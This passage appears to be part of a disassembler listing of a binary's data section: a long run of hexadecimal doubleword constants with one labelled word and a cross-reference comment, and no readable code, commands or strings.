		dd 0D13267Ch, 14CEB809h, 0D9C21FC8h, 7805774h, 45AD8C6Eh
		dd 0CBEB8F0Bh, 9D9C89DAh, 80D211ECh, 0CD696F61h, 3059020Eh
		dd 0B080BA6Ch, 2DC470A0h, 87008BA5h, 0F1EA1F3Ah, 82096Dh
		dd 0BAFEAEABh, 0EC81CA74h, 20308E5Eh, 289AF6Bh,	198FC6E9h
		dd 0B0510874h, 91184779h, 0CF24A800h, 5AAD6314h, 0FFCA0C5h
		dd 3A2E5F07h, 6B23E4h, 0AEA13A4Dh, 4432BA5Eh, 2B16B832h
		dd 0E083B491h, 0F43D2891h, 0C3C7804Fh, 0BB1AF60Dh, 9580266Dh
		dd 70172708h, 0FF846591h, 0C8C4C26Ah, 1004429h,	43E5CADBh
		dd 0DC0D6B54h, 0B0B4259Ah, 3BE9209h, 38EE1Ch, 473FEDA1h
		dd 4AB59448h, 0E627E302h, 0DE1665A0h, 0E966870Ch, 58A4C178h
		dd 81947CCDh, 0BD32D4BEh, 19049ECh, 66AA737Ah, 6074CCB7h
		dd 568AC904h
		db 84h,	40h
word_505446	dw 17C6h		; DATA XREF: ___:off_435E08o
		dd 4B00B56Fh, 133551ACh, 5388662h, 0DC7A065Fh, 3BA0834Eh
		dd 0B1B8391Fh, 2042287Ch, 509490EEh, 0D30114A1h, 60A152C7h
		dd 1DB53E10h, 0EFF83800h, 0A26C965Eh, 28550030h, 0B65B0410h
		dd 0B44FA08Eh, 6623D82Fh, 22F7A904h, 0E4E52084h, 7CD063h
		dd 9E675680h, 0B4AB7688h, 0A0D84003h, 0A8ACBE48h, 4AFEE4DFh
		dd 437480ADh, 79178FFBh, 2408161Eh, 0A4B14959h,	0B3C2DBADh
		dd 0FA00F496h, 0F81269DCh, 0C89984h, 1E47A26Dh,	183077D9h
		dd 80CC3958h, 9D55D76Fh, 72811CE0h, 0D1D38006h,	0BCFB66AFh
		dd 68D18091h, 0ED008918h, 0B0C9CBAAh, 0EB1486h,	0C75D06F2h
		dd 0A18FDD07h, 2290E352h, 769E0010h, 71698109h,	6024737Ch
		dd 0FEC44C80h, 485F8C98h, 0F296A486h, 0E54B0054h, 90DE82E1h
		dd 3DBB0B15h, 2CD1486Ah, 76186AD9h, 0B168D51Eh,	2695C185h
		dd 0A1E86CADh, 0B5EE4C00h, 574ABF4h, 47F4A166h,	0C731466h
		dd 33EEB1B4h, 2B046FD9h, 41A5E471h, 0FA1288A2h,	0B89CAD8Fh
		dd 202A3B30h, 2C5A7600h, 0B6185601h, 44219000h,	3DB96741h
		dd 3C8F4C5Bh, 38C6CF8h,	1EA192FDh, 0EED847C6h, 0EF30138Ch
		dd 0B44ED141h, 88D84C15h, 0E5673000h, 6C608F3Fh, 0B8045302h
		dd 412B79B7h, 0EC233CF4h, 3E908921h, 48BBC2C1h,	306421F9h
		dd 0F9239Ch, 493DF5FDh,	8F0C14DDh, 93482F06h, 24303B45h
		dd 0A1128CDFh, 4C086758h, 4F194468h, 1F3845B1h,	0E0F77FC2h
		dd 78D60AEh, 0AC0ADFFEh, 26411170h, 3100CB1Dh, 0C4783905h
		dd 2C28BB3Ch, 63A0905Ch, 61005871h, 1507AF6h, 0E0B9FFC5h
		dd 0CB901880h, 0A8F329C7h, 0CDAD3900h, 8A99D8DBh, 0F8080154h
		dd 0B38E5143h, 0E1A313C3h, 15D12E90h, 2E1FE05Ch, 40B817FFh
		dd 5568595Eh, 90EE761Ch, 2490A097h, 1EDA8EF7h, 0B6B2D7h
		dd 97E18845h, 200EF4Eh,	5C33ACE8h, 60D1C780h, 0FD8FE107h
		dd 90B5AA11h, 3BBD754h,	460A8232h, 6EA67ACh, 397F3B60h
		dd 0A33C121Ah, 126C4428h, 0E1DA9667h, 0FC405344h, 89E04ADBh
		dd 382E4FB1h, 9410E485h, 1373409Dh, 0AF108F8Dh,	0A9B96B00h
		dd 0BC34CCD1h, 940E0720h, 0E0B30271h, 7D97697Fh, 0C45F2403h
		dd 0D84739F1h, 0A0C9577Bh, 39F278F4h, 20DBB7D1h, 0C3474DD0h
		dd 0FC0FE2F6h, 60073A3Bh, 784F9A79h, 8D322C7h, 0D18078C2h
		dd 90AC52F0h, 4F420F4h,	0AE22CC90h, 383901BEh, 0C1D64FFEh
		dd 0CF92EB66h, 0D4F1CCE0h, 0B706FC00h, 0A9FDA32Bh, 2507002Fh
		dd 0B901A7D5h, 0EB00CF6Fh, 4582B2DEh, 52FDCEh, 4E3CFFA8h
		dd 47F85A49h, 0EF020F07h, 30CC768Fh, 71373006h,	0DA7DE861h
		dd 444D6E00h, 0C19B654Fh, 0EC6D2689h, 3D741CCAh, 4D554E80h
		dd 0EDB5AFD5h, 6F38CE60h, 0E373844h, 743A1ADCh,	32522920h
		dd 26074E68h, 0AD93AEC2h, 0C47C083h, 0B4C64ACh,	593CCF38h
		dd 24A182Ah, 0C4BE20C1h, 0C0180908h, 0DE70C959h, 3C274F00h
		dd 2896A7BAh, 0F54E516Fh, 35201183h, 0EE90F1C0h, 1D03F592h
		dd 3B0691D4h, 0DAD90C7Dh, 4671F4A7h, 0AF0F5D01h, 782F7948h
		dd 30AE55C4h, 0B4E66A8Eh, 0BE0C2506h, 486594A7h, 8930021h
		dd 853EE439h, 0E300FD98h, 0CDCC0732h, 291C54Eh,	7B1D0DFFh
		dd 0EE605CACh, 99600162h, 0B90CF628h, 730200A7h, 0AAA66A4h
		dd 8430E8C7h, 0C00920F1h, 26B0190h, 9B07D9F7h, 55E4D04Dh
		dd 0CDD15C03h, 0B0DE159Ah, 1DF83452h, 0E3AA567h, 0F180A4AFh
		dd 0BB9BE064h, 304D5C37h, 0C9980E40h, 17A90FFFh, 96E0DF45h
		dd 40552379h, 54E4F300h, 7AA1B9A0h, 10F060A6h, 68169D78h
		dd 0DF744900h, 5DF9C0F6h, 90FF6002h, 0CED3F3E7h, 5D64A00h
		dd 22DB12E3h, 9B090E36h, 0A1E35CFDh, 112BE6C2h,	8DE04E3h
		dd 0DEC2771Dh, 8007655h, 0DC485241h, 792D9BBBh,	0E0297A67h
		dd 614A00D6h, 3FB3C581h, 1401B65Ch, 69DD42BCh, 0F4E45BB9h
		dd 0C1803725h, 0B79A7348h, 0D84187C0h, 307061C0h, 3029C44h
		dd 1A3B4B6Eh, 88B72DEh,	0CAD4B9D0h, 1F63C63Bh, 0A8808AFBh
		dd 3B774726h, 33430FAFh, 8683DADEh, 5100D93Ah, 0EDD5905h
		dd 64F7393h, 7490E775h,	150098D5h, 0A8C4B045h, 3A1B24F5h
		dd 5F80ECF1h, 0D14F4181h, 4903DD16h, 0F45B9145h, 59398815h
		dd 5D233CBAh, 0F6D2E05Ah, 8D1630C1h, 0D9809024h, 0DD6D04B6h
		dd 4E0071ADh, 111AF7D7h, 798AF99h, 0B05C6249h, 0B89C5290h
		dd 9D75ACA0h, 3F0E3A31h, 6011A4FCh, 0A6C0E8D1h,	17D28120h
		dd 9C5C9760h, 0AC39D0D6h, 2621910h, 9250FAAFh, 75CC8071h
		dd 0A040F1BCh, 3F77DA08h, 8D80A1B2h, 0BC152F9Bh, 7897C699h
		dd 83173C99h, 3411A8h, 7FFC57A3h, 301C7C42h, 1B81638h
		dd 357506FBh, 0A040C6D8h, 61CD4107h, 456F6070h,	1803EB5Ch
		dd 51493B50h, 0B2980360h, 0E04D40FCh, 2455BB88h, 247448h
		dd 0ECBFBCA5h, 160CAC6h, 0E4FEE8C0h, 0F47A1534h, 6516B540h
		dd 4507DFE3h, 5750A1DAh, 329123h, 0F7772961h, 2537E952h
		dd 78F14B06h, 1185331h,	0A21891B7h, 5BE2CFEFh, 0A0CC3E20h
		dd 0FC7D0028h, 0BC7E2253h, 3E0E2196h, 619A3ABAh, 7D1E5D20h
		dd 0CFC6F0h, 0E697DC4Fh, 281FB38Dh, 5668FB76h, 81EC2038h
		dd 88745C3h, 0B6059614h, 0CAED45Dh, 3C548586h, 2C80E489h
		dd 0F9774D94h, 25019F8Bh, 0E5215B1Eh, 0ACD2A678h, 0A8E20834h
		dd 46F4C880h, 0A03EB432h, 80B0BF1Fh, 0CE7E1DF4h, 0D3040821h
		dd 76B42561h, 307614CAh, 0D618C73Fh, 98900F34h,	824F243Ah
		dd 8F1C1B41h, 0A8344360h, 3878232Ch, 0CB2D517h,	1E113329h
		dd 1D448008h, 5CCA2089h, 0BD116742h, 1E941162h,	21D87211h
		dd 89F9394Bh, 441008C8h, 0E447FD6h, 3CFE44C0h, 0D75C11EFh
		dd 1BA311h, 0CDC793h, 3455ED40h, 29374807h, 8757D200h
		dd 0AF5BEEFDh, 180718Dh, 0E2A0CB59h, 0D4C23E9Bh, 8EF4525Ah
		dd 6B006771h, 1FCFFA40h, 145B2423h, 0FF02629Dh,	41EBB400h
		dd 37D3209Bh, 643C1300h, 6A9D2D2Ah, 0FE7900B3h,	0B6C8198h
		dd 0A601D95Dh, 51A871E6h, 0EA709658h, 0BE6E1DBBh, 8524C045h
		dd 0F77C8D01h, 6636FD00h, 0D0C807C3h, 0A29A00C5h, 0AEEF8E03h
		dd 6300A143h, 877C4FC6h, 65CE50h, 6B6C5301h, 66E57557h
		dd 7B0F5FF0h, 40E33DC8h, 0F4214292h, 8F1000CFh,	8051FE77h
		dd 0F8002D97h, 454C232h, 8CD31Ah, 0ABC669A0h, 0DE66FBC0h
		dd 68072D90h, 5A419E7Dh, 372FCFF0h, 93C004Ch, 0EF80E947h
		dd 0D100D046h, 99B7CEE7h, 1F5445C9h, 0C0A2FCB1h, 0B68B3C7Fh
		dd 6C7437A1h, 13B5AD19h, 0B9C4C388h, 257A00FCh,	63735B0Ah
		dd 32124C26h, 5000DA5Eh, 28431F07h, 94D0586h, 813D142Bh
		dd 0D1517448h, 438040BFh, 760EA435h, 0C314A909h, 1BECAC1h
		dd 0C5309260h, 0F8F746EAh, 0D51C15FEh, 803BF6E9h, 81273193h
		dd 535947h, 0B1726F39h,	362E488Ch, 0D42FDE12h, 4B4E9840h
		dd 0AD27A25h, 2144EAAAh, 145607C8h, 0F4701090h,	0DD72939Fh
		dd 3ACF9800h, 0A6E968A4h, 0D539036Ah, 0FE143CA5h, 0B62A2D8h
		dd 0F2D3011Fh, 9510A0D8h, 5F070060h, 369D019h, 292C44AAh
		dd 0E49E50C1h, 84D47300h, 11F8FDh, 0DADE648h, 0D891A18Dh
		dd 7B0BCD07h, 79B0D481h, 0F5A913h, 0CEC838E8h, 70B65F50h
		dd 56F7EA00h, 9EFCC51Ch, 2E676FF1h, 805A6C60h, 600CCB9h
		dd 0D5C8A548h, 3B0BFA54h, 4E000CBAh, 7489F4D6h,	96B050E6h
		dd 574DCB07h, 3EB263F6h, 0FBB8037h, 3B01DD96h, 4E8034D0h
		dd 6F1FC1Ch, 8500F5ABh
		dd 2E73E2C8h, 57F6B7h, 6978D3D2h, 0AB12AA87h, 0FBF49700h
		dd 0A315C439h, 6FCB00C3h, 0C1444F92h, 0F0287D6Eh, 905C07Bh
		dd 71F9154Bh, 6DB96C00h, 72996A5h, 20C3E942h, 0FDDDA052h
		dd 48011999h, 0FE958A7Eh, 4ED80339h, 0AC6500AAh, 0F33C9BE0h
		dd 0D4FE36B1h, 54103Ch,	0A6EC7702h, 4C8D8h, 6141A43h, 0AD80E2ACh
		dd 8ED71900h, 0DE3DE5EAh, 5535006Ch, 7183E1F2h,	0F10022EDh
		dd 0D319FC05h, 1CBE9B3h, 4F4714A8h, 349054CCh, 0A0068B4h
		dd 3D7D12Fh, 1C8027h, 650F0B4h,	776D5571h, 409BC900h, 0B19374F3h
		dd 70A21EB6h, 2B04B8C1h, 81C73C2Eh, 30ECBB74h, 0A907E360h
		dd 0E9BAB265h, 66AEB1F0h, 648D268Bh, 0C4803A2Bh, 0A16088C0h
		dd 0EA0097C1h, 0B55EF296h, 0A09E59A6h, 37BAAF4h, 83046AE6h
		dd 0ADA07A5Fh, 1E00B1AEh, 82FE18D8h, 9B91C3h, 95F0226Fh
		dd 44DBDCBAh, 5038B21Dh, 6704BA2Eh, 54807F7Eh, 3A0559D9h
		dd 0BF00012Ah, 0DDC96FFFh, 0B9056455h, 50D29971h, 0C54FD40Ah
		dd 0CE786A07h, 8D34C0B1h, 3AFFB0FBh, 51DB00F6h,	40830CECh
		dd 0D0A09226h, 320F2C24h, 0C021FCD0h, 14C0E949h, 0E1E7666h
		dd 0D36DB40Fh, 0D9921A81h, 0E8B0E4B2h, 4D707D00h, 2BA573ABh
		dd 2E8D7E35h, 8710A8h, 9C5237F1h, 0DD011EACh, 12162175h
		dd 0B040AFE7h, 772CE59h, 0CF84ABB6h, 0FB9CB0EEh, 313E3A16h
		dd 0B3D80068h, 886CE07Dh, 0D9A1008Fh, 44852F8Eh, 36E82A17h
		dd 4AE5348h, 0D29816B3h, 1CC696C0h, 74F49Eh, 8CCF7DEEh
		dd 6BC40994h, 0F73AF601h, 16B467DDh, 0C11C409Dh, 0CCEFFA03h
		dd 0B7E8F832h, 5224EB1Fh, 0F2AB900Eh, 4C21DC02h, 5DE960A3h
		dd 0E944031Ch, 1F7AD83Eh, 69F3D0A0h, 5509CB00h,	458D2B2Ch
		dd 28FA0475h, 0C0C4D1BBh, 0DCDBB968h, 0FEEB600h, 1FB4848Bh
		dd 6F4F1387h, 16B0012Dh, 0E0241A55h, 6A01FFE8h,	6C512A31h
		dd 97FCE6C6h, 63B60710h, 70869FD5h, 22AE41A3h, 73E7A104h
		dd 0D8C8B366h, 0B57AA4h, 0BD0E0942h, 0DDE34E23h, 0B40C54Ch
		dd 0ACAAEDh, 478C79DFh,	4C964843h, 0B1336C00h, 58DD6DE1h
		dd 173D3A00h, 52F480Dh,	0A3C800B5h, 0CDD09A3Eh,	0B300EAC9h
		dd 772BFBD6h, 49D545h, 7F48BB2Ah, 5834B66Dh, 0ACD34300h
		dd 22756260h, 0B4A207AAh, 3710F361h, 0EBC900Ch,	3CE0EBD3h
		dd 4EE0F904h, 0BC814A51h, 0B6C090A1h, 91D93B39h, 1EF54500h
		dd 0D61BF471h, 0BBBE1A12h, 0B85320C3h, 0B6A4601h, 7A8EE328h
		dd 898B28A0h, 0F3007873h, 262445D8h, 9DEA87h, 82163757h
		dd 326D062Eh, 800ECC3Ch, 6C7CDE24h, 0B82A187Eh,	30C60B2Ch
		dd 3C205801h, 54BC3303h, 7BCC3900h, 189E3CECh, 0E2650356h
		dd 203BB357h, 51D560CFh, 54027268h, 0F86C1D07h,	12A44098h
		dd 0C941003Fh, 361B8CC2h, 0DF394A4Dh, 1D5C80D5h, 4B1CAB24h
		dd 0DA3B0959h, 1400BC25h, 4AF179F5h, 9600A276h,	82515070h
		dd 639B3Bh, 3916F83Eh, 86AB882Eh, 0D556D400h, 619024F7h
		dd 0EA810019h, 0B0D0ACB1h, 0AB043ADBh, 25A265CFh, 3EBA9700h
		dd 0B1317C0h, 8400558Ch, 4068B48Ah, 90FA42h, 79CFC9C3h
		dd 7EB25812h, 76FD0C07h, 0B9E5A98Bh, 6BEB8400h,	758D59h
		dd 7D4A4314h, 3E29989Fh, 0AC7F501h, 4C17C6FEh, 79FD7080h
		dd 0BD270EE4h, 0FA19B600h, 0B1C71A99h, 7474EFh,	0D03472D6h
		dd 0C09FDF25h, 0B23CD4F5h, 2EB09E1Fh, 0DB6EB440h, 7B7D6B9Bh
		dd 0ACB500AAh, 9AD25CDDh, 2FB8DFCBh, 0C9365F00h, 659D85EBh
		dd 1EC80563h, 0C01662FAh, 98D62B59h, 40AA2E00h,	3A37964Eh
		dd 0A0BF13F3h, 7080805Fh, 55009B49h, 4B6117EBh,	0F3EED5h
		dd 0C43E0246h, 0D4562DE1h, 0D9A99100h, 59B1BE23h, 80DA0390h
		dd 8DD587B6h, 5C3A0A00h, 0EFFFC8CFh, 1FCD026Ch,	38BE13D3h
		dd 21008865h, 1948E239h, 37554h, 4DC97583h, 68EE991Ah
		dd 3878070Eh, 0D945C006h, 14AF17h, 8F049484h, 9C7CA174h
		dd 8C0260B8h, 70FAC3C0h, 0ADA0E0FBh, 7C1B58B7h,	0B36A3203h
		dd 0EDD8EF71h, 0CF0530F7h, 0B9E9797Dh, 588097C0h, 0FC055C37h
		dd 4BDEE500h, 49BD6430h, 99DA9107h, 83C038B7h, 2CA6342Ah
		dd 3B4AA044h, 0D9B8C00h, 2417EA98h, 58B81871h, 0CF0F10C0h
		dd 0FCD394h, 1555695Eh,	24C13342h, 30FD2B00h, 44A9C86Ch
		dd 0E69A60BAh, 0E5846F25h, 0CC48E09h, 4160033Fh, 5879DA8Bh
		dd 9C595390h, 76D32675h, 8FD74314h, 816F3B80h, 0D6EEAF00h
		dd 32B8DD17h, 0E6B70019h, 7108A8B2h, 0F30211C1h, 4DD35709h
		dd 0DB94E3BBh, 8053E8BFh, 0D8B8B1h, 46382179h, 81D40E87h
		dd 0D5403Dh, 0FF94E522h, 0F49891h, 77A60530h, 67A157ABh
		dd 2826F800h, 8E4A040Dh, 155600CFh, 14066183h, 0F53B3BF1h
		dd 60CB30D3h, 1BA9F0Ah,	4DEFC808h, 0C8B3EB1Ch, 90DC3741h
		dd 464B13C0h, 0C8430Dh,	66839AC4h, 0B1E38065h, 82F83D0Eh
		dd 8EC9256Dh, 42BDC800h, 63AC2Bh, 0D8F2A6C6h, 1F696C48h
		dd 3A01EA0Bh, 0A20077D0h, 263BD733h, 0CD8C2E00h, 1A831108h
		dd 0A0FEB9h, 9486AF85h,	0AD5B1DF5h, 838BF225h, 0B06975BCh
		dd 12B4339Dh, 0C7B05485h, 0CB390004h, 87483AE4h, 5E6400BCh
		dd 2D9196A0h, 0BE720034h, 0DA2307E6h, 3000F049h, 29E3C962h
		dd 71525F1h, 4475BDC2h,	973F108Bh, 7D247FB0h, 830190D0h
		dd 5AB0970h, 9AC5C8h, 0CC7736C6h, 885FFCE1h, 0ED8BB000h
		dd 0CFCE5C79h, 0CA40001Ch, 9BEB3A35h, 0E800F609h, 0EE803971h
		dd 0F6C57C3Bh, 0B0B1F06Ah, 0E248000Bh, 7762A1BCh, 0A00F7947h
		dd 0E275E6F3h, 401A0138h, 16B2E994h, 0DA98FEh, 90E5974Eh
		dd 51F44B8Dh, 0A9372E00h, 63206A39h, 0A0D10166h, 0D0C7F405h
		dd 28C8CEA1h, 7A4E911Bh, 724B5400h, 974E4Ch, 8FCC44BBh
		dd 0A9C13627h, 0A4EDDB17h, 42857400h, 5C1BFCh, 4BCE7BEBh
		dd 20EF2D2Eh, 0CCA84007h, 60F073BAh, 3127A5h, 0FBA187AFh
		dd 0B999AC95h, 3E573800h, 785FE09Bh, 0DCB0AEh, 0F835DEF1h
		dd 0F92CDA75h, 0BCE6C000h, 4A52C93Fh, 0FD360A22h, 1EC891Dh
		dd 0DBF10C23h, 0F52400D7h, 274D00FAh, 90EEFDEh,	0BA007C12h
		dd 5EA86275h, 4382AEAh,	95C4ED8Eh, 15F0D045h, 3200BA55h
		dd 2009226Eh, 2773AFACh, 99F8843Bh, 25C7EC80h, 0AADA23h
		dd 34358DC2h, 2D2938B3h, 0F500BC77h, 1362DF99h,	0C912397Ch
		dd 587747Fh, 40A04969h,	8A9C00B0h, 4808C42Fh, 8CF8EB1Fh
		dd 577DBE00h, 1F6DFC8h,	0D63D5AD7h, 0C05F1114h,	2D00CB6Eh
		dd 716FD54Ah, 1ED35424h, 4067F35Ch, 0A2C83A5Dh,	910BBC80h
		dd 2A51E6h, 656DD769h, 0ACA50096h, 477135F2h, 0FD2EFCA0h
		dd 0C500412Ch, 0A727B354h, 142F0FCEh, 0BD40334Fh, 21EC47A1h
		dd 73252005h, 0DCA07592h, 0E63004F6h, 0C0035BD8h, 14118A72h
		dd 0BD7025h, 0A56DF5D0h, 365A009Ah, 0A66A0C3Eh,	0D1749F71h
		dd 9087A496h, 0BA70305Dh, 904C0B03h, 0E8FAE1h, 0D2FD93E6h
		dd 8EFAEB31h, 7107D100h, 83394DBDh, 0DCEC00E2h,	0AD403A18h
		dd 2D004B10h, 715FF6F2h, 1DD4786h, 469BDEFDh, 47EFEB92h
		dd 5CB900B0h, 0C0007733h, 0BE2D72D4h, 61DB17h, 806F44F1h
		dd 9D850E2h, 86ADD001h,	6E166762h, 42ECF0DFh, 81C300E5h
		dd 0C0B9B44Ah, 7F1D0B59h, 0F0C00AFBh, 0AEA49FC1h, 1DAB00EBh
		dd 346F8D91h, 0E20085C7h, 0BD081832h, 0DF7922h,	4F23B87Fh
		dd 0F40B674h, 8F26AE07h, 29F74C7Ch, 0CA9380FEh,	0CFC428h
		dd 0C9947A9Ah, 0C3A61F9Fh, 227B9D00h, 2C2AEDDFh, 0BC930003h
		dd 0C728A164h, 2509B699h, 0E1915BDh, 2146C0FCh,	26D1D2DBh
		dd 80B8C106h, 0ADB28B4Bh, 29024707h, 15BE185Fh,	34E175A5h
		dd 0F032E5F4h, 0C1005B4Eh, 6B811FBBh, 17407AC8h, 23C5595h
		dd 0CEEA6778h, 7885C451h, 0BD84B692h, 0BD00B41Dh, 0B05D4D77h
		dd 8ADC00C9h, 29D9FD0h,	4E00D31Ah, 6257BA8Ch, 0AAB02Fh
		dd 0D605ED2Bh, 8982BC10h, 0C5AC3200h, 0FB6F867Ch, 16450904h
		dd 0C7808F75h, 51A7C0D0h, 64268A00h, 0DCE7DACBh, 85AF0048h
		dd 546665B4h, 0E800C123h, 0A58AABE4h, 4379F7Eh,	409CCE71h
		dd 88E259h, 322F560Bh, 0E8AB3BD6h, 67E500ADh, 9EE2991Ch
		dd 7B073A62h, 5D8BD511h, 0FF7C5900h, 40A05A3Eh,	3A3BF404h
		dd 205106Fh, 29CE9D58h,	2168E0h, 6962DCB3h, 999876F0h
		dd 0ED0436F2h, 0D10A50EFh, 1C1A72C0h, 0C1E500C4h, 0F1F703E2h
		dd 0D20016CCh, 1E4466Ah, 276044Eh, 963BA4B4h, 8C407CCEh
		dd 4A4D53CCh, 2E81072Ch, 0AE10588Fh, 0BA0FD70h,	99206F71h
		dd 7B0E1000h, 0A400BD8Ch, 0D31D4F9Eh, 3995CE53h, 0B400CF10h
		dd 2DC9B1Ch, 6600B2C2h,	47B05C21h, 78D199h, 6E9C1EA5h
		dd 0F8798D59h, 0E07F173Dh, 0CDB17640h, 89DD00D5h, 0AD15FEC9h
		dd 0B000178Ah, 0D3FC199h, 0CB2C3Ah, 39E7852Bh, 0F2B6AF61h
		dd 0D282A201h, 264B7DAEh, 0CFD7DCh, 4E6FFA2Eh, 0CC2136A6h
		dd 25603300h, 3BC2207Bh, 4FE100F4h, 2BE2031Fh, 6B3DF914h
		dd 0E81C00EAh, 8E104BBEh, 0C61500B3h, 0E2641726h, 82027925h
		dd 32A36906h, 6311605Dh, 9FF8392Bh, 0C9A10100h,	0F3939455h
		dd 0D647DB00h, 0DDC5820Ah, 29FD0090h, 439FC2E8h, 9E053DD2h
		dd 7250D0CAh, 0E44ED4D0h, 0E4774C58h, 6CE82Eh, 6105F3DBh
		dd 0D7002F13h, 9646F852h, 7E533C47h, 8F6F0F62h,	27C2C021h
		dd 805D86F6h, 63FF1756h, 371F005Eh, 3D771C81h, 4174E192h
		dd 0B23799F2h, 45C170BDh, 106CBE4Fh, 0C74B3E1Eh, 0F15B4122h
		dd 8F2F25D6h, 0EF7B4418h, 6BEF6023h, 43BC15h, 0C841453Dh
		dd 0FAAFBBACh, 9B7AB50Ah, 462C2CB3h, 0ACC75513h, 1C17FC80h
		dd 323CFE19h, 0AE317390h, 0FE58DFC1h, 0FBF41482h, 7380A454h
		dd 0DBA6530Eh, 28A9E810h, 14FE5Dh, 18A2979Ch, 52992E77h
		dd 0FCF1EF03h, 0C0C28161h, 22F941Dh, 62701B65h,	584046CBh
		dd 5B7A2D3Fh, 4C872900h, 594DDDEBh, 24A30049h, 795FBB1Fh
		dd 5B03C07Fh, 0A4C96794h, 0F3DFF898h, 145400E5h, 636DA7ADh
		dd 19381A3Eh, 373013CBh, 1C781007h, 4FDB4B00h, 0A53A072Bh
		dd 0F7D0423Eh, 0A0BED76Eh, 0C91F957Ch, 634B320Fh, 1B0EA060h
		dd 9116D8h, 2A883E3Dh, 58817EF7h, 68303300h, 6DC45C04h
		dd 52C200FEh, 45858632h, 0F0541A64h, 0F2F8F690h, 0D9AF2000h
		dd 210FD568h, 6F00F97Ch, 0FC009AA0h, 0AFA85207h, 0F9BC70Ah
		dd 9702F504h, 660640D8h, 8FEED200h, 0E10D6457h,	0CBF4000Eh
		dd 7F583C82h, 0FD075A5Eh, 0FA9FEA16h, 9D991F10h, 6E77000Eh
		dd 0F9A6453Ch, 0C1A3DDD3h, 79CD36E0h, 554C3Ah, 27FDB59Ch
		dd 601D4A4Fh, 11A2B1CEh, 75168230h, 0EF1EBF83h,	262F7C80h
		dd 43D637Dh, 1AF250C7h,	876CACD8h, 0DFB09513h, 693D68h
		dd 1221D383h, 0D6F1EE5Eh, 5FCE921Fh, 0A2000F53h, 0B9C6992Fh
		dd 2C5B7B3Fh, 9E504C45h, 69FFC6DEh, 9C0088DBh, 5B086D9Eh
		dd 0FAFE1583h, 829F137Ch, 10FA0E67h, 181443E6h,	11D8E03h
		dd 0F8E40B3Fh, 0A3E2BFAh, 0BECFD2DEh, 72F1EFEh,	80D615FFh
		dd 24570184h, 98D8030Ah, 8F1D9716h, 0E5FDA403h,	180CE79Eh
		dd 979F3101h, 0FCE90F51h, 88E09CFFh, 60AC1A00h,	0F790EA08h
		dd 0CF2E03EEh, 0B02B3815h, 33871800h, 0B59AAEBBh, 7B4F3C17h
		dd 99E81E0Fh, 77E0490Eh, 0B0085F8Bh, 0A30091B0h, 5817E2EEh
		dd 0F85E534Fh, 5A5900E3h, 8411FA1Eh, 54002391h,	0B7F86212h
		dd 19414FEh, 2E09B8D3h,	201AB2DCh, 0EF7E0F68h, 0E608A000h
		dd 0AB0B5290h, 0FCFB07E8h, 0C0A559E4h, 9D4464D2h, 979A150Ah
		dd 9C149C16h, 3FB804h, 0BBCA372Ah, 1CBE6ADDh, 0E12519C3h
		dd 412800EDh, 91DA9688h, 8A375B80h, 11C1F0CAh, 0D4503D6Fh
		dd 30504392h, 7C599848h, 87F68342h, 240188A0h, 9C0D8628h
		dd 0FC3C7D01h, 0D32B1D9Ch, 792196h, 0D5C7FAAh, 97147D77h
		dd 2ED0B6D6h, 8103689Ch, 0F1365Bh, 0CCF0AA79h, 0C03F858Bh
		dd 0B0FB0C31h, 0B9DC5349h, 5083B64h, 4296B090h,	0F2F2201Ch
		dd 0A8B46030h, 5C47BB86h, 4AE89850h, 76E0E901h,	0E54B6EDDh
		dd 88C91024h, 0CC0057F3h, 26CBEA43h, 3A276C7Bh,	840CF5E1h
		dd 0E25A1E8Ch, 1343158h, 9816923Fh, 88509957h, 53D763Ch
		dd 0D9CF2FE2h, 0DAB383FBh, 21079FA3h, 0F93DB0F2h, 0A5044850h
		dd 0E0227457h, 0C316009Dh, 9961ED73h, 0CEF0B7B1h, 0B4338600h
		dd 0A4B59B59h, 10B215FEh, 0B600DC18h, 45DF4096h, 0B4191BC2h
		dd 0B908BA9Dh, 0CEDDC980h, 8C99840h, 0AC0A1D00h, 0EAC5199Bh
		dd 6B861884h, 400CF8C2h, 2AB01800h, 17D98F29h, 3B4102F2h
		dd 0A1123E0Bh, 0FFA3C040h, 5467E248h, 0E100DE28h, 8B877559h
		dd 667F1854h, 21D508BBh, 59E9C801h, 0EF370432h,	5472630h
		dd 79117CBEh, 2F8441B6h, 200DFB6Eh, 0F04925E8h,	2D480054h
		dd 0DA924529h, 4E0B00DDh, 0F6EBC88Dh, 360A5305h, 801B31F5h
		dd 0AF9F7881h, 0F180C70Fh, 261D44BDh, 0E007A36h, 278FF6B1h
		dd 4CFA420Dh, 0EB09201Bh, 2881D32Ah, 40C3F79Fh,	93599980h
		dd 84182866h, 76870DC9h, 8520DD2Fh, 0D29C0938h,	0C0C78448h
		dd 877259EAh, 0D422B346h, 59B2BF07h, 1FD07BC4h,	305513A3h
		dd 67B1C00Fh, 0A11E65F9h, 78014B7Ch, 31C6742Ah,	0E0F71820h
		dd 297B0042h, 0D60863B9h, 2624B098h, 0FE0F1401h, 0A05AC01Fh
		dd 0EB9847Ah, 0BAF482F9h, 0E8211E8Dh, 78015BE6h, 3398FC62h
		dd 6C31A98Bh, 49418EC0h, 9E033826h, 6220A4Ch, 0DE7D1100h
		dd 0F699F42Bh, 9E7C0A9Ah, 80D8B157h, 0FAED66C9h, 6D02E1C2h
		dd 2D638FE9h, 920ADD79h, 0CD7500F8h, 4120B78h, 399F11C0h
		dd 8001E233h, 0FF2BA47Fh, 0B601A0E3h, 0D3877659h, 0E02EDE19h
		dd 9FA359DEh, 7A70F294h, 2AD80340h, 57780877h, 0B8CBCCB0h
		dd 9F76E60Ah, 3FD8CAh, 27FE4D9Dh, 0CC7C25h, 195B1B54h
		dd 1F4AE342h, 584A050h,	0B9B3C335h, 0C0AFAC08h,	45E04095h
		dd 8875BA46h, 4000CDD6h, 0F62D268Ch, 1959384h, 7B464875h
		dd 3065E820h, 0FA165B74h, 204E99D7h, 135742B3h,	962440F0h
		dd 92330C7Ah, 0EC8199EDh, 40A0028Ch, 1C72447Dh,	7F10F019h
		dd 0B5034099h, 34F55E14h, 5139261Ah, 0E58E08A8h, 127AC785h
		dd 895A1490h, 32478015h, 0B47E4200h, 77DA3FD7h,	4FDC0158h
		dd 0E582D4C9h, 3A66F8F2h, 0C611DCA5h, 0B159E580h, 7C91EB87h
		dd 59ADBCC0h, 0CE4B017Ah, 0EB5E641Fh, 8318C890h, 859D3300h
		dd 0DA0F170Ah, 477A1232h, 8C700811h, 945BDFC1h,	86BAE4FCh
		dd 5CBD2744h, 21002ACAh, 0F52DAD0Fh, 3EF80B5Dh,	80C59F28h
